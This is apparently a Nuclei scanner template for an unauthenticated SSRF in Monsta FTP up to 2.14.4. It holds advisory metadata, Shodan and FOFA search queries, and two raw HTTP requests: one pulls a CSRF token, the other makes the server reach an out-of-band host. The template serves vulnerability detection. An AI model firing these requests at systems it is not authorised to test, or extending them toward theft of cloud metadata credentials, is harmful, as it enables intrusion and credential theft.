Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass

id: CVE-2026-60105

info:
  name: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
  author: chocapikk,DhiyaneshDk
  severity: high
  description: |
    Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.
  impact: |
    An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.
  remediation: Upgrade to Monsta FTP 2.14.5 or later.
  reference:
    - https://www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-60105
    epss-score: 0.01514
    epss-percentile: 0.74711
    cwe-id: CWE-918,CWE-184
  metadata:
    verified: true
    max-request: 2
    vendor: monsta
    product: monsta-ftp
    shodan-query: http.html:"Monsta FTP"
    fofa-query: body="Monsta FTP"
  tags: cve,cve2026,monsta,ftp,ssrf,oob,unauth,vkev

flow: http("get-csrf") && http("ssrf-probe")

http:
  - id: get-csrf
    raw:
      - |
        POST /mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        request={"actionName":"getSystemVars","context":{}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        words:
          - "csrfToken"
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        regex:
          - '"csrfToken"\s*:\s*"([a-f0-9]+)"'
        group: 1
        internal: true

  - id: ssrf-probe
    raw:
      - |
        POST /mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-CSRF-Token: {{csrf_token}}

        request={"actionName":"fetchRemoteFile","connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","port":21,"username":"anonymous","password":"anonymous@","passive":true},"context":{"source":"http://{{interactsh-url}}/ssrf-probe","destination":"/"}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or